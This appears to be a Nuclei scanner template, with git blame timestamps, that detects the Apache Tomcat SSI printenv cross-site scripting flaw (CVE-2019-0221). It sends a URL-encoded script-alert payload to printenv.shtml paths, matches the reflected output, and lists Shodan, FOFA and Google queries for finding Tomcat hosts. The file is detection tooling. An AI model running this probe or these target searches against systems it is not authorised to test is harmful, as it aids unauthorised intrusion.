nuclei-templates/http/cves/2019/CVE-2019-0221.yaml

64 lines
2.5 KiB
YAML
Raw Normal View History

2021-03-05 14:38:39 +00:00
id: CVE-2019-0221
info:
name: Apache Tomcat - Cross-Site Scripting
2021-03-05 14:38:39 +00:00
author: pikpikcu
severity: medium
2021-03-05 14:38:39 +00:00
description: |
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:53:28 +00:00
remediation: |
Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
reference:
- https://seclists.org/fulldisclosure/2019/May/50
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
- https://www.exploit-db.com/exploits/50119
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-0221
cwe-id: CWE-79
2024-05-31 19:23:20 +00:00
epss-score: 0.01096
epss-percentile: 0.84374
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
2022-07-04 13:18:48 +00:00
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: tomcat
shodan-query:
- title:"Apache Tomcat"
- http.title:"apache tomcat"
- http.html:"apache tomcat"
- cpe:"cpe:2.3:a:apache:tomcat"
fofa-query:
- body="apache tomcat"
- title="apache tomcat"
2024-05-31 19:23:20 +00:00
google-query: intitle:"apache tomcat"
2024-01-14 09:21:50 +00:00
tags: cve2019,cve,apache,xss,tomcat,seclists,edb
variables:
payload: "<script>alert({{rand_int()}})</script>"
http:
2021-03-05 14:38:39 +00:00
- method: GET
path:
- "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
- "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"
2021-03-05 14:38:39 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "QUERY_STRING_UNESCAPED={{payload}}"
2021-03-06 05:58:28 +00:00
- type: word
part: header
2021-03-06 05:58:28 +00:00
words:
- "text/html"
2021-03-05 14:38:39 +00:00
- type: status
status:
- 200
# digest: 4b0a00483046022100b490d11c0c3f7a69740b3d5d7176b7711ebfb93da6153f1b48c907f591be2be60221009645b1510cc82c91c6f60f7ccddc568f65b69a37a26d16e8ca8bfb3687546da6:922c64590222798bb761d5b6d8e72950